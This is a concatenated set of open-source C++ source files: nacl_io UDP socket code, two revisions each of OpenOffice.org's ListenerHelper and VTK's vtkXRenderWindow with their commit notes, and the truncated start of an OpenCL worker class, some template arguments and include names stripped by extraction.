!= 0) {\n filesystem_->ppapi()->ReleaseResource(remote_addr_);\n remote_addr_ = 0;\n }\n\n remote_addr_ = SockAddrToResource(addr, len);\n if (0 == remote_addr_)\n return EINVAL;\n\n return 0;\n}\n\nError UdpNode::Recv_Locked(void* buf,\n size_t len,\n PP_Resource* out_addr,\n int* out_len) {\n Packet* packet = emitter_->ReadRXPacket_Locked();\n *out_len = 0;\n *out_addr = 0;\n\n if (packet) {\n int capped_len = static_cast(std::min(len, packet->len()));\n memcpy(buf, packet->buffer(), capped_len);\n\n if (packet->addr() != 0) {\n filesystem_->ppapi()->AddRefResource(packet->addr());\n *out_addr = packet->addr();\n }\n\n *out_len = capped_len;\n delete packet;\n return 0;\n }\n\n \/\/ Should never happen, Recv_Locked should not be called\n \/\/ unless already in a POLLIN state.\n return EBADF;\n}\n\nError UdpNode::Send_Locked(const void* buf,\n size_t len,\n PP_Resource addr,\n int* out_len) {\n if (!IsBound()) {\n \/\/ Pepper requires a socket to be bound before it can send.\n sockaddr_in addr;\n addr.sin_family = AF_INET;\n addr.sin_port = 0;\n memset(&addr.sin_addr, 0, sizeof(addr.sin_addr));\n Error err =\n Bind(reinterpret_cast(&addr), sizeof(addr));\n if (err != 0)\n return err;\n }\n\n *out_len = 0;\n int capped_len = static_cast(std::min(len, kMaxPacketSize));\n Packet* packet = new Packet(filesystem_->ppapi());\n packet->Copy(buf, capped_len, addr);\n\n emitter_->WriteTXPacket_Locked(packet);\n *out_len = capped_len;\n return 0;\n}\n\n} \/\/ namespace nacl_io\n<|endoftext|>"} {"text":"\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: ListenerHelper.cxx,v $\n *\n * $Revision: 1.4 $\n *\n * last change: $Author: kz $ $Date: 2006-11-06 15:04:41 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n\n#include \"ListenerHelper.h\"\n\nusing com::sun::star::frame::XFrame;\nusing com::sun::star::frame::XDispatch;\nusing com::sun::star::frame::XStatusListener;\nusing com::sun::star::lang::XEventListener;\nusing com::sun::star::lang::EventObject;\nusing com::sun::star::uno::Reference;\nusing com::sun::star::uno::RuntimeException;\nusing com::sun::star::frame::FeatureStateEvent;\n\nstatic AllListeners aListeners;\n\nvoid ListenerHelper::AddListener(\n const Reference < XFrame >& xFrame,\n const Reference < XStatusListener > xControl,\n const ::rtl::OUString& aCommand )\n{\n sal_uInt32 i=0;\n sal_uInt32 nSize = aListeners.size();\n for ( i=0; i& xFrame,\n const Reference < XStatusListener > xControl,\n const ::rtl::OUString& aCommand )\n{\n sal_uInt32 nSize = aListeners.size();\n for ( sal_uInt32 i=0; i& xFrame,\n const ::rtl::OUString& aCommand,\n FeatureStateEvent& rEvent )\n{\n sal_uInt32 nSize = aListeners.size();\n for ( sal_uInt32 i=0; istatusChanged( rEvent );\n aIter++;\n }\n }\n }\n}\n\ncom::sun::star::uno::Reference < XDispatch > ListenerHelper::GetDispatch(\n const Reference < XFrame >& xFrame,\n const ::rtl::OUString& aCommand )\n{\n sal_uInt32 nSize = aListeners.size();\n for ( sal_uInt32 i=0; i();\n}\n\nvoid ListenerHelper::AddDispatch(\n const Reference < XDispatch > xDispatch,\n const Reference < XFrame >& xFrame,\n const ::rtl::OUString& aCommand )\n{\n ListenerItem aItem;\n aItem.xFrame = xFrame;\n aItem.xDispatch = xDispatch;\n aListeners.push_back( aItem );\n xFrame->addEventListener( new ListenerItemEventListener( xFrame ) );\n}\n\nvoid SAL_CALL ListenerItemEventListener::disposing( const EventObject& aEvent) throw (RuntimeException)\n{\n AllListeners::iterator aIter = aListeners.begin();\n while ( aIter != aListeners.end() )\n {\n if ( (*aIter).xFrame == mxFrame )\n {\n aListeners.erase( aIter );\n break;\n }\n\n aIter++;\n }\n}\nINTEGRATION: CWS changefileheader (1.4.98); FILE MERGED 2008\/03\/31 15:52:51 rt 1.4.98.1: #i87441# Change license header to LPGL v3.\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: ListenerHelper.cxx,v $\n * $Revision: 1.5 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * \n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n\n#include \"ListenerHelper.h\"\n\nusing com::sun::star::frame::XFrame;\nusing com::sun::star::frame::XDispatch;\nusing com::sun::star::frame::XStatusListener;\nusing com::sun::star::lang::XEventListener;\nusing com::sun::star::lang::EventObject;\nusing com::sun::star::uno::Reference;\nusing com::sun::star::uno::RuntimeException;\nusing com::sun::star::frame::FeatureStateEvent;\n\nstatic AllListeners aListeners;\n\nvoid ListenerHelper::AddListener(\n const Reference < XFrame >& xFrame,\n const Reference < XStatusListener > xControl,\n const ::rtl::OUString& aCommand )\n{\n sal_uInt32 i=0;\n sal_uInt32 nSize = aListeners.size();\n for ( i=0; i& xFrame,\n const Reference < XStatusListener > xControl,\n const ::rtl::OUString& aCommand )\n{\n sal_uInt32 nSize = aListeners.size();\n for ( sal_uInt32 i=0; i& xFrame,\n const ::rtl::OUString& aCommand,\n FeatureStateEvent& rEvent )\n{\n sal_uInt32 nSize = aListeners.size();\n for ( sal_uInt32 i=0; istatusChanged( rEvent );\n aIter++;\n }\n }\n }\n}\n\ncom::sun::star::uno::Reference < XDispatch > ListenerHelper::GetDispatch(\n const Reference < XFrame >& xFrame,\n const ::rtl::OUString& aCommand )\n{\n sal_uInt32 nSize = aListeners.size();\n for ( sal_uInt32 i=0; i();\n}\n\nvoid ListenerHelper::AddDispatch(\n const Reference < XDispatch > xDispatch,\n const Reference < XFrame >& xFrame,\n const ::rtl::OUString& aCommand )\n{\n ListenerItem aItem;\n aItem.xFrame = xFrame;\n aItem.xDispatch = xDispatch;\n aListeners.push_back( aItem );\n xFrame->addEventListener( new ListenerItemEventListener( xFrame ) );\n}\n\nvoid SAL_CALL ListenerItemEventListener::disposing( const EventObject& aEvent) throw (RuntimeException)\n{\n AllListeners::iterator aIter = aListeners.begin();\n while ( aIter != aListeners.end() )\n {\n if ( (*aIter).xFrame == mxFrame )\n {\n aListeners.erase( aIter );\n break;\n }\n\n aIter++;\n }\n}\n<|endoftext|>"} {"text":"\/*=========================================================================\n\n Program: Visualization Toolkit\n Module: vtkXRenderWindow.cxx\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\nCopyright (c) 1993-1998 Ken Martin, Will Schroeder, Bill Lorensen.\n\nThis software is copyrighted by Ken Martin, Will Schroeder and Bill Lorensen.\nThe following terms apply to all files associated with the software unless\nexplicitly disclaimed in individual files. This copyright specifically does\nnot apply to the related textbook \"The Visualization Toolkit\" ISBN\n013199837-4 published by Prentice Hall which is covered by its own copyright.\n\nThe authors hereby grant permission to use, copy, and distribute this\nsoftware and its documentation for any purpose, provided that existing\ncopyright notices are retained in all copies and that this notice is included\nverbatim in any distributions. Additionally, the authors grant permission to\nmodify this software and its documentation for any purpose, provided that\nsuch modifications are not distributed without the explicit consent of the\nauthors and that existing copyright notices are retained in all copies. Some\nof the algorithms implemented by this software are patented, observe all\napplicable patent law.\n\nIN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY FOR\nDIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES ARISING OUT\nOF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY DERIVATIVES THEREOF,\nEVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nTHE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, INCLUDING,\nBUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\nPARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE IS PROVIDED ON AN\n\"AS IS\" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE NO OBLIGATION TO PROVIDE\nMAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.\n\n\n=========================================================================*\/\n#include \n#include \n#include \n#include \"vtkXRenderWindow.h\"\n#include \"vtkXRenderWindowInteractor.h\"\n\nvtkXRenderWindow::vtkXRenderWindow()\n{\n vtkDebugMacro(<< \"vtkXRenderWindow::vtkXRenderWindow\");\n this->DisplayId = (Display *)NULL;\n this->WindowId = (Window)NULL;\n this->ParentId = (Window)NULL;\n this->NextWindowId = (Window)NULL;\n this->ColorMap = (Colormap)NULL;\n this->ScreenSize[0] = 0;\n this->ScreenSize[1] = 0;\n this->OwnDisplay = 0;\n}\n\nvtkXRenderWindow::~vtkXRenderWindow()\n{\n vtkDebugMacro(<< \"vtkXRenderWindow::~vtkXRenderWindow\");\n if (this->DisplayId)\n {\n XSync(this->DisplayId,0);\n }\n \/\/ if we create the display, we'll delete it\n if (this->OwnDisplay && this->DisplayId)\n {\n XCloseDisplay(this->DisplayId);\n this->DisplayId = NULL;\n }\n}\n\nint vtkXRenderWindowFoundMatch;\n\nBool vtkXRenderWindowPredProc(Display *vtkNotUsed(disp), XEvent *event, \n\t\t\t char *arg)\n{\n Window win = (Window)arg;\n \n if ((((XAnyEvent *)event)->window == win) &&\n ((event->type == ButtonPress)))\n vtkXRenderWindowFoundMatch = 1;\n\n return 0;\n \n}\n\nvoid *vtkXRenderWindow::GetGenericContext()\n{\n static GC gc = (GC) NULL; \n\n if (!gc) gc = XCreateGC(this->DisplayId, this->WindowId, 0, 0);\n\n return (void *) gc;\n\n}\n\nint vtkXRenderWindow::GetEventPending()\n{\n XEvent report;\n \n vtkXRenderWindowFoundMatch = 0;\n XCheckIfEvent(this->DisplayId, &report, vtkXRenderWindowPredProc, \n\t\t(char *)this->WindowId);\n return vtkXRenderWindowFoundMatch;\n}\n\n\n\/\/ Get the size of the screen in pixels\nint *vtkXRenderWindow::GetScreenSize()\n{\n \/\/ get the default display connection \n if (!this->DisplayId)\n {\n this->DisplayId = XOpenDisplay((char *)NULL); \n if (this->DisplayId == NULL) \n {\n vtkErrorMacro(<< \"bad X server connection.\\n\");\n }\n else\n {\n this->OwnDisplay = 1;\n }\n }\n\n this->ScreenSize[0] = \n DisplayWidth(this->DisplayId, DefaultScreen(this->DisplayId));\n this->ScreenSize[1] = \n DisplayHeight(this->DisplayId, DefaultScreen(this->DisplayId));\n\n return this->ScreenSize;\n}\n\n\/\/ Get the current size of the window in pixels.\nint *vtkXRenderWindow::GetSize(void)\n{\n XWindowAttributes attribs;\n\n \/\/ if we aren't mapped then just return the ivar \n if (!this->Mapped)\n {\n return(this->Size);\n }\n\n \/\/ Find the current window size \n XGetWindowAttributes(this->DisplayId, \n\t\t this->WindowId, &attribs);\n\n this->Size[0] = attribs.width;\n this->Size[1] = attribs.height;\n \n return this->Size;\n}\n\n\/\/ Get the position in screen coordinates (pixels) of the window.\nint *vtkXRenderWindow::GetPosition(void)\n{\n XWindowAttributes attribs;\n int x,y;\n Window child;\n \n \/\/ if we aren't mapped then just return the ivar \n if (!this->Mapped)\n {\n return(this->Position);\n }\n\n \/\/ Find the current window size \n XGetWindowAttributes(this->DisplayId, this->WindowId, &attribs);\n x = attribs.x;\n y = attribs.y;\n\n XTranslateCoordinates(this->DisplayId,this->WindowId,\n\t\t RootWindowOfScreen(ScreenOfDisplay(this->DisplayId,0)),\n\t\t\tx,y,&this->Position[0],&this->Position[1],&child);\n\n return this->Position;\n}\n\n\/\/ Get this RenderWindow's X display id.\nDisplay *vtkXRenderWindow::GetDisplayId()\n{\n vtkDebugMacro(<< \"Returning DisplayId of \" << (void *)this->DisplayId << \"\\n\"); \n\n return this->DisplayId;\n}\n\n\/\/ Get this RenderWindow's parent X window id.\nWindow vtkXRenderWindow::GetParentId()\n{\n vtkDebugMacro(<< \"Returning ParentId of \" << (void *)this->ParentId << \"\\n\");\n return this->ParentId;\n}\n\n\/\/ Get this RenderWindow's X window id.\nWindow vtkXRenderWindow::GetWindowId()\n{\n vtkDebugMacro(<< \"Returning WindowId of \" << (void *)this->WindowId << \"\\n\");\n return this->WindowId;\n}\n\n\/\/ Move the window to a new position on the display.\nvoid vtkXRenderWindow::SetPosition(int x, int y)\n{\n \/\/ if we aren't mapped then just set the ivars\n if (!this->Mapped)\n {\n if ((this->Position[0] != x)||(this->Position[1] != y))\n {\n this->Modified();\n }\n this->Position[0] = x;\n this->Position[1] = y;\n return;\n }\n\n XMoveResizeWindow(this->DisplayId,this->WindowId,x,y,\n this->Size[0], this->Size[1]);\n XSync(this->DisplayId,False);\n}\n\n\/\/ Sets the parent of the window that WILL BE created.\nvoid vtkXRenderWindow::SetParentId(Window arg)\n{\n if (this->ParentId)\n {\n vtkErrorMacro(\"ParentId is already set.\");\n return;\n }\n \n vtkDebugMacro(<< \"Setting ParentId to \" << (void *)arg << \"\\n\"); \n\n this->ParentId = arg;\n}\n\n\/\/ Set this RenderWindow's X window id to a pre-existing window.\nvoid vtkXRenderWindow::SetWindowId(Window arg)\n{\n vtkDebugMacro(<< \"Setting WindowId to \" << (void *)arg << \"\\n\"); \n\n this->WindowId = arg;\n}\n\n\/\/ Set this RenderWindow's X window id to a pre-existing window.\nvoid vtkXRenderWindow::SetWindowInfo(char *info)\n{\n int tmp;\n \n \/\/ get the default display connection \n if (!this->DisplayId)\n {\n this->DisplayId = XOpenDisplay((char *)NULL); \n if (this->DisplayId == NULL) \n {\n vtkErrorMacro(<< \"bad X server connection.\\n\");\n }\n else\n {\n this->OwnDisplay = 1;\n }\n }\n\n sscanf(info,\"%i\",&tmp);\n \n this->WindowId = tmp;\n vtkDebugMacro(<< \"Setting WindowId to \" << (void *)this->WindowId<< \"\\n\"); \n}\n\nvoid vtkXRenderWindow::SetWindowId(void *arg)\n{\n this->SetWindowId((Window)arg);\n}\nvoid vtkXRenderWindow::SetParentId(void *arg)\n{\n this->SetParentId((Window)arg);\n}\n\n\nvoid vtkXRenderWindow::SetWindowName(char * name)\n{\n XTextProperty win_name_text_prop;\n\n vtkRenderWindow::SetWindowName( name );\n\n if (this->Mapped)\n {\n if( XStringListToTextProperty( &name, 1, &win_name_text_prop ) == 0 )\n {\n vtkWarningMacro(<< \"Can't rename window\"); \n return;\n }\n \n XSetWMName( this->DisplayId, this->WindowId, &win_name_text_prop );\n XSetWMIconName( this->DisplayId, this->WindowId, &win_name_text_prop );\n }\n}\n\n\n\/\/ Specify the X window id to use if a WindowRemap is done.\nvoid vtkXRenderWindow::SetNextWindowId(Window arg)\n{\n vtkDebugMacro(<< \"Setting NextWindowId to \" << (void *)arg << \"\\n\"); \n\n this->NextWindowId = arg;\n}\n\n\/\/ Set the X display id for this RenderWindow to use to a pre-existing \n\/\/ X display id.\nvoid vtkXRenderWindow::SetDisplayId(Display *arg)\n{\n vtkDebugMacro(<< \"Setting DisplayId to \" << (void *)arg << \"\\n\"); \n\n this->DisplayId = arg;\n this->OwnDisplay = 0;\n}\nvoid vtkXRenderWindow::SetDisplayId(void *arg)\n{\n this->SetDisplayId((Display *)arg);\n this->OwnDisplay = 0;\n}\n\nvoid vtkXRenderWindow::PrintSelf(ostream& os, vtkIndent indent)\n{\n this->vtkRenderWindow::PrintSelf(os,indent);\n\n os << indent << \"Color Map: \" << this->ColorMap << \"\\n\";\n os << indent << \"Display Id: \" << this->GetDisplayId() << \"\\n\";\n os << indent << \"Next Window Id: \" << this->NextWindowId << \"\\n\";\n os << indent << \"Window Id: \" << this->GetWindowId() << \"\\n\";\n}\nERR: memory leak in SetWindowName repaired.\/*=========================================================================\n\n Program: Visualization Toolkit\n Module: vtkXRenderWindow.cxx\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\nCopyright (c) 1993-1998 Ken Martin, Will Schroeder, Bill Lorensen.\n\nThis software is copyrighted by Ken Martin, Will Schroeder and Bill Lorensen.\nThe following terms apply to all files associated with the software unless\nexplicitly disclaimed in individual files. This copyright specifically does\nnot apply to the related textbook \"The Visualization Toolkit\" ISBN\n013199837-4 published by Prentice Hall which is covered by its own copyright.\n\nThe authors hereby grant permission to use, copy, and distribute this\nsoftware and its documentation for any purpose, provided that existing\ncopyright notices are retained in all copies and that this notice is included\nverbatim in any distributions. Additionally, the authors grant permission to\nmodify this software and its documentation for any purpose, provided that\nsuch modifications are not distributed without the explicit consent of the\nauthors and that existing copyright notices are retained in all copies. Some\nof the algorithms implemented by this software are patented, observe all\napplicable patent law.\n\nIN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY FOR\nDIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES ARISING OUT\nOF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY DERIVATIVES THEREOF,\nEVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nTHE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, INCLUDING,\nBUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\nPARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE IS PROVIDED ON AN\n\"AS IS\" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE NO OBLIGATION TO PROVIDE\nMAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.\n\n\n=========================================================================*\/\n#include \n#include \n#include \n#include \"vtkXRenderWindow.h\"\n#include \"vtkXRenderWindowInteractor.h\"\n\nvtkXRenderWindow::vtkXRenderWindow()\n{\n vtkDebugMacro(<< \"vtkXRenderWindow::vtkXRenderWindow\");\n this->DisplayId = (Display *)NULL;\n this->WindowId = (Window)NULL;\n this->ParentId = (Window)NULL;\n this->NextWindowId = (Window)NULL;\n this->ColorMap = (Colormap)NULL;\n this->ScreenSize[0] = 0;\n this->ScreenSize[1] = 0;\n this->OwnDisplay = 0;\n}\n\nvtkXRenderWindow::~vtkXRenderWindow()\n{\n vtkDebugMacro(<< \"vtkXRenderWindow::~vtkXRenderWindow\");\n if (this->DisplayId)\n {\n XSync(this->DisplayId,0);\n }\n \/\/ if we create the display, we'll delete it\n if (this->OwnDisplay && this->DisplayId)\n {\n XCloseDisplay(this->DisplayId);\n this->DisplayId = NULL;\n }\n}\n\nint vtkXRenderWindowFoundMatch;\n\nBool vtkXRenderWindowPredProc(Display *vtkNotUsed(disp), XEvent *event, \n\t\t\t char *arg)\n{\n Window win = (Window)arg;\n \n if ((((XAnyEvent *)event)->window == win) &&\n ((event->type == ButtonPress)))\n vtkXRenderWindowFoundMatch = 1;\n\n return 0;\n \n}\n\nvoid *vtkXRenderWindow::GetGenericContext()\n{\n static GC gc = (GC) NULL; \n\n if (!gc) gc = XCreateGC(this->DisplayId, this->WindowId, 0, 0);\n\n return (void *) gc;\n\n}\n\nint vtkXRenderWindow::GetEventPending()\n{\n XEvent report;\n \n vtkXRenderWindowFoundMatch = 0;\n XCheckIfEvent(this->DisplayId, &report, vtkXRenderWindowPredProc, \n\t\t(char *)this->WindowId);\n return vtkXRenderWindowFoundMatch;\n}\n\n\n\/\/ Get the size of the screen in pixels\nint *vtkXRenderWindow::GetScreenSize()\n{\n \/\/ get the default display connection \n if (!this->DisplayId)\n {\n this->DisplayId = XOpenDisplay((char *)NULL); \n if (this->DisplayId == NULL) \n {\n vtkErrorMacro(<< \"bad X server connection.\\n\");\n }\n else\n {\n this->OwnDisplay = 1;\n }\n }\n\n this->ScreenSize[0] = \n DisplayWidth(this->DisplayId, DefaultScreen(this->DisplayId));\n this->ScreenSize[1] = \n DisplayHeight(this->DisplayId, DefaultScreen(this->DisplayId));\n\n return this->ScreenSize;\n}\n\n\/\/ Get the current size of the window in pixels.\nint *vtkXRenderWindow::GetSize(void)\n{\n XWindowAttributes attribs;\n\n \/\/ if we aren't mapped then just return the ivar \n if (!this->Mapped)\n {\n return(this->Size);\n }\n\n \/\/ Find the current window size \n XGetWindowAttributes(this->DisplayId, \n\t\t this->WindowId, &attribs);\n\n this->Size[0] = attribs.width;\n this->Size[1] = attribs.height;\n \n return this->Size;\n}\n\n\/\/ Get the position in screen coordinates (pixels) of the window.\nint *vtkXRenderWindow::GetPosition(void)\n{\n XWindowAttributes attribs;\n int x,y;\n Window child;\n \n \/\/ if we aren't mapped then just return the ivar \n if (!this->Mapped)\n {\n return(this->Position);\n }\n\n \/\/ Find the current window size \n XGetWindowAttributes(this->DisplayId, this->WindowId, &attribs);\n x = attribs.x;\n y = attribs.y;\n\n XTranslateCoordinates(this->DisplayId,this->WindowId,\n\t\t RootWindowOfScreen(ScreenOfDisplay(this->DisplayId,0)),\n\t\t\tx,y,&this->Position[0],&this->Position[1],&child);\n\n return this->Position;\n}\n\n\/\/ Get this RenderWindow's X display id.\nDisplay *vtkXRenderWindow::GetDisplayId()\n{\n vtkDebugMacro(<< \"Returning DisplayId of \" << (void *)this->DisplayId << \"\\n\"); \n\n return this->DisplayId;\n}\n\n\/\/ Get this RenderWindow's parent X window id.\nWindow vtkXRenderWindow::GetParentId()\n{\n vtkDebugMacro(<< \"Returning ParentId of \" << (void *)this->ParentId << \"\\n\");\n return this->ParentId;\n}\n\n\/\/ Get this RenderWindow's X window id.\nWindow vtkXRenderWindow::GetWindowId()\n{\n vtkDebugMacro(<< \"Returning WindowId of \" << (void *)this->WindowId << \"\\n\");\n return this->WindowId;\n}\n\n\/\/ Move the window to a new position on the display.\nvoid vtkXRenderWindow::SetPosition(int x, int y)\n{\n \/\/ if we aren't mapped then just set the ivars\n if (!this->Mapped)\n {\n if ((this->Position[0] != x)||(this->Position[1] != y))\n {\n this->Modified();\n }\n this->Position[0] = x;\n this->Position[1] = y;\n return;\n }\n\n XMoveResizeWindow(this->DisplayId,this->WindowId,x,y,\n this->Size[0], this->Size[1]);\n XSync(this->DisplayId,False);\n}\n\n\/\/ Sets the parent of the window that WILL BE created.\nvoid vtkXRenderWindow::SetParentId(Window arg)\n{\n if (this->ParentId)\n {\n vtkErrorMacro(\"ParentId is already set.\");\n return;\n }\n \n vtkDebugMacro(<< \"Setting ParentId to \" << (void *)arg << \"\\n\"); \n\n this->ParentId = arg;\n}\n\n\/\/ Set this RenderWindow's X window id to a pre-existing window.\nvoid vtkXRenderWindow::SetWindowId(Window arg)\n{\n vtkDebugMacro(<< \"Setting WindowId to \" << (void *)arg << \"\\n\"); \n\n this->WindowId = arg;\n}\n\n\/\/ Set this RenderWindow's X window id to a pre-existing window.\nvoid vtkXRenderWindow::SetWindowInfo(char *info)\n{\n int tmp;\n \n \/\/ get the default display connection \n if (!this->DisplayId)\n {\n this->DisplayId = XOpenDisplay((char *)NULL); \n if (this->DisplayId == NULL) \n {\n vtkErrorMacro(<< \"bad X server connection.\\n\");\n }\n else\n {\n this->OwnDisplay = 1;\n }\n }\n\n sscanf(info,\"%i\",&tmp);\n \n this->WindowId = tmp;\n vtkDebugMacro(<< \"Setting WindowId to \" << (void *)this->WindowId<< \"\\n\"); \n}\n\nvoid vtkXRenderWindow::SetWindowId(void *arg)\n{\n this->SetWindowId((Window)arg);\n}\nvoid vtkXRenderWindow::SetParentId(void *arg)\n{\n this->SetParentId((Window)arg);\n}\n\n\nvoid vtkXRenderWindow::SetWindowName(char * name)\n{\n XTextProperty win_name_text_prop;\n\n vtkRenderWindow::SetWindowName( name );\n\n if (this->Mapped)\n {\n if( XStringListToTextProperty( &name, 1, &win_name_text_prop ) == 0 )\n {\n XFree (win_name_text_prop.value);\n vtkWarningMacro(<< \"Can't rename window\"); \n return;\n }\n \n XSetWMName( this->DisplayId, this->WindowId, &win_name_text_prop );\n XSetWMIconName( this->DisplayId, this->WindowId, &win_name_text_prop );\n XFree (win_name_text_prop.value);\n }\n}\n\n\n\/\/ Specify the X window id to use if a WindowRemap is done.\nvoid vtkXRenderWindow::SetNextWindowId(Window arg)\n{\n vtkDebugMacro(<< \"Setting NextWindowId to \" << (void *)arg << \"\\n\"); \n\n this->NextWindowId = arg;\n}\n\n\/\/ Set the X display id for this RenderWindow to use to a pre-existing \n\/\/ X display id.\nvoid vtkXRenderWindow::SetDisplayId(Display *arg)\n{\n vtkDebugMacro(<< \"Setting DisplayId to \" << (void *)arg << \"\\n\"); \n\n this->DisplayId = arg;\n this->OwnDisplay = 0;\n}\nvoid vtkXRenderWindow::SetDisplayId(void *arg)\n{\n this->SetDisplayId((Display *)arg);\n this->OwnDisplay = 0;\n}\n\nvoid vtkXRenderWindow::PrintSelf(ostream& os, vtkIndent indent)\n{\n this->vtkRenderWindow::PrintSelf(os,indent);\n\n os << indent << \"Color Map: \" << this->ColorMap << \"\\n\";\n os << indent << \"Display Id: \" << this->GetDisplayId() << \"\\n\";\n os << indent << \"Next Window Id: \" << this->NextWindowId << \"\\n\";\n os << indent << \"Window Id: \" << this->GetWindowId() << \"\\n\";\n}\n<|endoftext|>"} {"text":"#include \"workerCL.hpp\"\n\n\n#define __CL_DEFINE_EXCEPTIONS\n#include \n\n#include \n#include \n#include \n\n#include \"log.hpp\"\n#include \"reads.hpp\"\n\nusing namespace std;\n\nWorkerCL::WorkerCL(size_t platform_id, size_t device_id){\n\t\/* GPU environment preparation *\/\n\t\n\t\/\/Get platforms (drivers) list and keep the one to be use\n\tvector all_platforms;\n\tcl::Platform::get(&all_platforms);\n\tif(!all_platforms.size()){\n\t\t\/\/No platform ? Send error\n\t\tstring error = \"OPENCL: no platforms found.\";\n\t\tthrow(error);\n\t}\n\tm_platform = all_platforms[platform_id];\n\n\t\/\/Get devices list and keep the one to use\n\tvector devices;\n\tm_platform.getDevices(CL_DEVICE_TYPE_ALL, &devices);\n\tif(device_id >= devices.size()){\n\t\tstring error = \"OPENCL: no device of id \"+to_string(device_id)+\n\t\t\t\" on platform \"+to_string(platform_id)+\" (\"+to_string(devices.size())+\" devices)\";\n\t\tthrow(error);\n\t}\n\tm_device = devices[device_id];\n\n\t\/\/Create context\n\tm_context = cl::Context({m_device});\n\t\n\t\/\/initialize commands queue\n\tm_commandqueue = cl::CommandQueue(m_context, m_device);\n\n\t\/\/Build kernel sources\n\tm_program = cl::Program(m_context, kernel_cmp_2_contigs);\n\tif(m_program.build({m_device}) != CL_SUCCESS){\n\t\tstring error = \"Error building: \";\n\t\terror += m_program.getBuildInfo(m_device);\n\t\tthrow(error);\n\t}\n\t\n\n\t\/\/Make the kernel\n\tm_kernel = cl::Kernel(m_program, \"cmp_2_contigs\");\n\n}\n\nWorkerCL::~WorkerCL(){\n}\n\nvoid WorkerCL::run(const Contigs& contigs, size_t work_group_size){\n\t\/*\n\tCreate the string containing all contigs sequences\n\tand store the list of contigs size (in same orders)\n\tto be able to retrieve contigs. Size is store in\n\tan uint64_t (ulong) to be sure it is 64bits as cl_ulong\n\t*\/\n\n\t\/\/Get list of contigs size, the total length of the\n\t\/\/contigs concatenation and the longuest contig size\n\tuint64_t nbContigs = contigs.get_nbContigs();\n\tuint64_t ultraSequenceSize = 0;\n\tuint64_t longuest_contig_size = 0;\n\tvector contigs_size (nbContigs, 0);\n\tfor(uint64_t i=0; i < nbContigs; i++){\n\t\tcontigs_size[i] = contigs.get_sizeContig(i);\n\t\tultraSequenceSize += contigs_size[i];\n\t\tif(contigs_size[i] > longuest_contig_size){longuest_contig_size = contigs_size[i];}\n\t}\n\n\t\/\/Prepare GPU for the run\n\tcl::Event ev;\n\t\t\/\/infos buffer (64bits): number of contigs, size of the ultrasequence, size of longuest contig\n\t\t\/\/buffer only accepts non-dynamics arrays (even of size 1)\n\tuint64_t infos[3] = {nbContigs, ultraSequenceSize, longuest_contig_size};\n\tcl::Buffer buf_infos (m_context, CL_MEM_READ_ONLY, sizeof(uint64_t));\n\tm_commandqueue.enqueueWriteBuffer(buf_infos, CL_TRUE, 0, sizeof(uint64_t), &infos);\n\tm_kernel.setArg(0, buf_infos); \/\/update kernel\n\n\t\t\/\/Prepare the buffer for the results matrix (it will be 1D so an id of {x,y} is id=x+y*x_size)\n\t\t\/\/The size of the buffer = char * x_size * y_size. Note: x_size == y_size == nb_contigs\n\tunsigned int scores_size = sizeof(char)*nbContigs*nbContigs;\n\tcl::Buffer buf_scores (m_context, CL_MEM_WRITE_ONLY, scores_size);\n\tm_kernel.setArg(1, buf_scores);\n\n\t\t\/\/sequences sizes (array of 64bits) buffer\n\tcl::Buffer 